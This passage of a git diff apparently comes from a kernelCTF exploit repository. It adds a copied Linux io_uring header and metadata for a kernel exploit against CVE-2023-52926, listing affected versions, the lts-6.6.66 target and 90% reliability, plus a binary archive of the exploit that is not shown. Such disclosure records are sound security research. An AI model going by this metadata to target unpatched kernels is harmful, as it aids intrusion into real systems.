+#define IORING_POLL_UPDATE_USER_DATA (1U << 2) +#define IORING_POLL_ADD_LEVEL (1U << 3) + +/* + * ASYNC_CANCEL flags. + * + * IORING_ASYNC_CANCEL_ALL Cancel all requests that match the given key + * IORING_ASYNC_CANCEL_FD Key off 'fd' for cancelation rather than the + * request 'user_data' + * IORING_ASYNC_CANCEL_ANY Match any request + * IORING_ASYNC_CANCEL_FD_FIXED 'fd' passed in is a fixed descriptor + * IORING_ASYNC_CANCEL_USERDATA Match on user_data, default for no other key + * IORING_ASYNC_CANCEL_OP Match request based on opcode + */ +#define IORING_ASYNC_CANCEL_ALL (1U << 0) +#define IORING_ASYNC_CANCEL_FD (1U << 1) +#define IORING_ASYNC_CANCEL_ANY (1U << 2) +#define IORING_ASYNC_CANCEL_FD_FIXED (1U << 3) +#define IORING_ASYNC_CANCEL_USERDATA (1U << 4) +#define IORING_ASYNC_CANCEL_OP (1U << 5) + +/* + * send/sendmsg and recv/recvmsg flags (sqe->ioprio) + * + * IORING_RECVSEND_POLL_FIRST If set, instead of first attempting to send + * or receive and arm poll if that yields an + * -EAGAIN result, arm poll upfront and skip + * the initial transfer attempt. + * + * IORING_RECV_MULTISHOT Multishot recv. Sets IORING_CQE_F_MORE if + * the handler will continue to report + * CQEs on behalf of the same SQE. + * + * IORING_RECVSEND_FIXED_BUF Use registered buffers, the index is stored in + * the buf_index field. + * + * IORING_SEND_ZC_REPORT_USAGE + * If set, SEND[MSG]_ZC should report + * the zerocopy usage in cqe.res + * for the IORING_CQE_F_NOTIF cqe. + * 0 is reported if zerocopy was actually possible. + * IORING_NOTIF_USAGE_ZC_COPIED if data was copied + * (at least partially). + */ +#define IORING_RECVSEND_POLL_FIRST (1U << 0) +#define IORING_RECV_MULTISHOT (1U << 1) +#define IORING_RECVSEND_FIXED_BUF (1U << 2) +#define IORING_SEND_ZC_REPORT_USAGE (1U << 3) + +/* + * cqe.res for IORING_CQE_F_NOTIF if + * IORING_SEND_ZC_REPORT_USAGE was requested + * + * It should be treated as a flag, all other + * bits of cqe.res should be treated as reserved! + */ +#define IORING_NOTIF_USAGE_ZC_COPIED (1U << 31) + +/* + * accept flags stored in sqe->ioprio + */ +#define IORING_ACCEPT_MULTISHOT (1U << 0) + +/* + * IORING_OP_MSG_RING command types, stored in sqe->addr + */ +enum { + IORING_MSG_DATA, /* pass sqe->len as 'res' and off as user_data */ + IORING_MSG_SEND_FD, /* send a registered fd to another ring */ +}; + +/* + * IORING_OP_MSG_RING flags (sqe->msg_ring_flags) + * + * IORING_MSG_RING_CQE_SKIP Don't post a CQE to the target ring. Not + * applicable for IORING_MSG_DATA, obviously. + */ +#define IORING_MSG_RING_CQE_SKIP (1U << 0) +/* Pass through the flags from sqe->file_index to cqe->flags */ +#define IORING_MSG_RING_FLAGS_PASS (1U << 1) + +/* + * IORING_OP_FIXED_FD_INSTALL flags (sqe->install_fd_flags) + * + * IORING_FIXED_FD_NO_CLOEXEC Don't mark the fd as O_CLOEXEC + */ +#define IORING_FIXED_FD_NO_CLOEXEC (1U << 0) + +/* + * IO completion data structure (Completion Queue Entry) + */ +struct io_uring_cqe { + __u64 user_data; /* sqe->data submission passed back */ + __s32 res; /* result code for this event */ + __u32 flags; + + /* + * If the ring is initialized with IORING_SETUP_CQE32, then this field + * contains 16-bytes of padding, doubling the size of the CQE. + */ + __u64 big_cqe[]; +}; + +/* + * cqe->flags + * + * IORING_CQE_F_BUFFER If set, the upper 16 bits are the buffer ID + * IORING_CQE_F_MORE If set, parent SQE will generate more CQE entries + * IORING_CQE_F_SOCK_NONEMPTY If set, more data to read after socket recv + * IORING_CQE_F_NOTIF Set for notification CQEs. Can be used to distinct + * them from sends. + */ +#define IORING_CQE_F_BUFFER (1U << 0) +#define IORING_CQE_F_MORE (1U << 1) +#define IORING_CQE_F_SOCK_NONEMPTY (1U << 2) +#define IORING_CQE_F_NOTIF (1U << 3) + +enum { + IORING_CQE_BUFFER_SHIFT = 16, +}; + +/* + * Magic offsets for the application to mmap the data it needs + */ +#define IORING_OFF_SQ_RING 0ULL +#define IORING_OFF_CQ_RING 0x8000000ULL +#define IORING_OFF_SQES 0x10000000ULL +#define IORING_OFF_PBUF_RING 0x80000000ULL +#define IORING_OFF_PBUF_SHIFT 16 +#define IORING_OFF_MMAP_MASK 0xf8000000ULL + +/* + * Filled with the offset for mmap(2) + */ +struct io_sqring_offsets { + __u32 head; + __u32 tail; + __u32 ring_mask; + __u32 ring_entries; + __u32 flags; + __u32 dropped; + __u32 array; + __u32 resv1; + __u64 user_addr; +}; + +/* + * sq_ring->flags + */ +#define IORING_SQ_NEED_WAKEUP (1U << 0) /* needs io_uring_enter wakeup */ +#define IORING_SQ_CQ_OVERFLOW (1U << 1) /* CQ ring is overflown */ +#define IORING_SQ_TASKRUN (1U << 2) /* task should enter the kernel */ + +struct io_cqring_offsets { + __u32 head; + __u32 tail; + __u32 ring_mask; + __u32 ring_entries; + __u32 overflow; + __u32 cqes; + __u32 flags; + __u32 resv1; + __u64 user_addr; +}; + +/* + * cq_ring->flags + */ + +/* disable eventfd notifications */ +#define IORING_CQ_EVENTFD_DISABLED (1U << 0) + +/* + * io_uring_enter(2) flags + */ +#define IORING_ENTER_GETEVENTS (1U << 0) +#define IORING_ENTER_SQ_WAKEUP (1U << 1) +#define IORING_ENTER_SQ_WAIT (1U << 2) +#define IORING_ENTER_EXT_ARG (1U << 3) +#define IORING_ENTER_REGISTERED_RING (1U << 4) + +/* + * Passed in for io_uring_setup(2). Copied back with updated info on success + */ +struct io_uring_params { + __u32 sq_entries; + __u32 cq_entries; + __u32 flags; + __u32 sq_thread_cpu; + __u32 sq_thread_idle; + __u32 features; + __u32 wq_fd; + __u32 resv[3]; + struct io_sqring_offsets sq_off; + struct io_cqring_offsets cq_off; +}; + +/* + * io_uring_params->features flags + */ +#define IORING_FEAT_SINGLE_MMAP (1U << 0) +#define IORING_FEAT_NODROP (1U << 1) +#define IORING_FEAT_SUBMIT_STABLE (1U << 2) +#define IORING_FEAT_RW_CUR_POS (1U << 3) +#define IORING_FEAT_CUR_PERSONALITY (1U << 4) +#define IORING_FEAT_FAST_POLL (1U << 5) +#define IORING_FEAT_POLL_32BITS (1U << 6) +#define IORING_FEAT_SQPOLL_NONFIXED (1U << 7) +#define IORING_FEAT_EXT_ARG (1U << 8) +#define IORING_FEAT_NATIVE_WORKERS (1U << 9) +#define IORING_FEAT_RSRC_TAGS (1U << 10) +#define IORING_FEAT_CQE_SKIP (1U << 11) +#define IORING_FEAT_LINKED_FILE (1U << 12) +#define IORING_FEAT_REG_REG_RING (1U << 13) + +/* + * io_uring_register(2) opcodes and arguments + */ +enum { + IORING_REGISTER_BUFFERS = 0, + IORING_UNREGISTER_BUFFERS = 1, + IORING_REGISTER_FILES = 2, + IORING_UNREGISTER_FILES = 3, + IORING_REGISTER_EVENTFD = 4, + IORING_UNREGISTER_EVENTFD = 5, + IORING_REGISTER_FILES_UPDATE = 6, + IORING_REGISTER_EVENTFD_ASYNC = 7, + IORING_REGISTER_PROBE = 8, + IORING_REGISTER_PERSONALITY = 9, + IORING_UNREGISTER_PERSONALITY = 10, + IORING_REGISTER_RESTRICTIONS = 11, + IORING_REGISTER_ENABLE_RINGS = 12, + + /* extended with tagging */ + IORING_REGISTER_FILES2 = 13, + IORING_REGISTER_FILES_UPDATE2 = 14, + IORING_REGISTER_BUFFERS2 = 15, + IORING_REGISTER_BUFFERS_UPDATE = 16, + + /* set/clear io-wq thread affinities */ + IORING_REGISTER_IOWQ_AFF = 17, + IORING_UNREGISTER_IOWQ_AFF = 18, + + /* set/get max number of io-wq workers */ + IORING_REGISTER_IOWQ_MAX_WORKERS = 19, + + /* register/unregister io_uring fd with the ring */ + IORING_REGISTER_RING_FDS = 20, + IORING_UNREGISTER_RING_FDS = 21, + + /* register ring based provide buffer group */ + IORING_REGISTER_PBUF_RING = 22, + IORING_UNREGISTER_PBUF_RING = 23, + + /* sync cancelation API */ + IORING_REGISTER_SYNC_CANCEL = 24, + + /* register a range of fixed file slots for automatic slot allocation */ + IORING_REGISTER_FILE_ALLOC_RANGE = 25, + + /* return status information for a buffer group */ + IORING_REGISTER_PBUF_STATUS = 26, + + /* this goes last */ + IORING_REGISTER_LAST, + + /* flag added to the opcode to use a registered ring fd */ + IORING_REGISTER_USE_REGISTERED_RING = 1U << 31 +}; + +/* io-wq worker categories */ +enum { + IO_WQ_BOUND, + IO_WQ_UNBOUND, +}; + +/* deprecated, see struct io_uring_rsrc_update */ +struct io_uring_files_update { + __u32 offset; + __u32 resv; + __aligned_u64 /* __s32 * */ fds; +}; + +/* + * Register a fully sparse file space, rather than pass in an array of all + * -1 file descriptors. + */ +#define IORING_RSRC_REGISTER_SPARSE (1U << 0) + +struct io_uring_rsrc_register { + __u32 nr; + __u32 flags; + __u64 resv2; + __aligned_u64 data; + __aligned_u64 tags; +}; + +struct io_uring_rsrc_update { + __u32 offset; + __u32 resv; + __aligned_u64 data; +}; + +struct io_uring_rsrc_update2 { + __u32 offset; + __u32 resv; + __aligned_u64 data; + __aligned_u64 tags; + __u32 nr; + __u32 resv2; +}; + +/* Skip updating fd indexes set to this value in the fd table */ +#define IORING_REGISTER_FILES_SKIP (-2) + +#define IO_URING_OP_SUPPORTED (1U << 0) + +struct io_uring_probe_op { + __u8 op; + __u8 resv; + __u16 flags; /* IO_URING_OP_* flags */ + __u32 resv2; +}; + +struct io_uring_probe { + __u8 last_op; /* last opcode supported */ + __u8 ops_len; /* length of ops[] array below */ + __u16 resv; + __u32 resv2[3]; + struct io_uring_probe_op ops[]; +}; + +struct io_uring_restriction { + __u16 opcode; + union { + __u8 register_op; /* IORING_RESTRICTION_REGISTER_OP */ + __u8 sqe_op; /* IORING_RESTRICTION_SQE_OP */ + __u8 sqe_flags; /* IORING_RESTRICTION_SQE_FLAGS_* */ + }; + __u8 resv; + __u32 resv2[3]; +}; + +struct io_uring_buf { + __u64 addr; + __u32 len; + __u16 bid; + __u16 resv; +}; + +struct io_uring_buf_ring { + union { + /* + * To avoid spilling into more pages than we need to, the + * ring tail is overlaid with the io_uring_buf->resv field. + */ + struct { + __u64 resv1; + __u32 resv2; + __u16 resv3; + __u16 tail; + }; + __DECLARE_FLEX_ARRAY(struct io_uring_buf, bufs); + }; +}; + +/* + * Flags for IORING_REGISTER_PBUF_RING. + * + * IOU_PBUF_RING_MMAP: If set, kernel will allocate the memory for the ring. + * The application must not set a ring_addr in struct + * io_uring_buf_reg, instead it must subsequently call + * mmap(2) with the offset set as: + * IORING_OFF_PBUF_RING | (bgid << IORING_OFF_PBUF_SHIFT) + * to get a virtual mapping for the ring. + */ +enum { + IOU_PBUF_RING_MMAP = 1, +}; + +/* argument for IORING_(UN)REGISTER_PBUF_RING */ +struct io_uring_buf_reg { + __u64 ring_addr; + __u32 ring_entries; + __u16 bgid; + __u16 flags; + __u64 resv[3]; +}; + +/* argument for IORING_REGISTER_PBUF_STATUS */ +struct io_uring_buf_status { + __u32 buf_group; /* input */ + __u32 head; /* output */ + __u32 resv[8]; +}; + +/* + * io_uring_restriction->opcode values + */ +enum { + /* Allow an io_uring_register(2) opcode */ + IORING_RESTRICTION_REGISTER_OP = 0, + + /* Allow an sqe opcode */ + IORING_RESTRICTION_SQE_OP = 1, + + /* Allow sqe flags */ + IORING_RESTRICTION_SQE_FLAGS_ALLOWED = 2, + + /* Require sqe flags (these flags must be set on each submission) */ + IORING_RESTRICTION_SQE_FLAGS_REQUIRED = 3, + + IORING_RESTRICTION_LAST +}; + +struct io_uring_getevents_arg { + __u64 sigmask; + __u32 sigmask_sz; + __u32 pad; + __u64 ts; +}; + +/* + * Argument for IORING_REGISTER_SYNC_CANCEL + */ +struct io_uring_sync_cancel_reg { + __u64 addr; + __s32 fd; + __u32 flags; + struct __kernel_timespec timeout; + __u8 opcode; + __u8 pad[7]; + __u64 pad2[3]; +}; + +/* + * Argument for IORING_REGISTER_FILE_ALLOC_RANGE + * The range is specified as [off, off + len) + */ +struct io_uring_file_index_range { + __u32 off; + __u32 len; + __u64 resv; +}; + +struct io_uring_recvmsg_out { + __u32 namelen; + __u32 controllen; + __u32 payloadlen; + __u32 flags; +}; + +/* + * Argument for IORING_OP_URING_CMD when file is a socket + */ +enum { + SOCKET_URING_OP_SIOCINQ = 0, + SOCKET_URING_OP_SIOCOUTQ, + SOCKET_URING_OP_GETSOCKOPT, + SOCKET_URING_OP_SETSOCKOPT, +}; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/pocs/linux/kernelctf/CVE-2023-52926_lts/metadata.json b/pocs/linux/kernelctf/CVE-2023-52926_lts/metadata.json new file mode 100644 index 000000000..2c4a1126a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52926_lts/metadata.json @@ -0,0 +1,31 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids":[ + "exp255" + + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/io_uring?h=linux-6.6.y&id=6c27fc6a783c8a77c756dd5461b15e465020d075", + "cve":"CVE-2023-52926", + "affected_versions":[ + "5.19 - 6.14" + ], + "requirements":{ + "attack_surface":[ + ], + "capabilities":[ + + ], + "kernel_config":[ + "CONFIG_IO_URING" + ] + } + }, + "exploits": { + "lts-6.6.66": { + "uses": ["io_uring"], + "requires_separate_kaslr_leak": false, + "stability_notes":"9 times success per 10 times run" + } + } + } \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-52926_lts/original_exp255.tar.gz b/pocs/linux/kernelctf/CVE-2023-52926_lts/original_exp255.tar.gz new file mode 100755 index 000000000..c13db16c2 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-52926_lts/original_exp255.tar.gz differ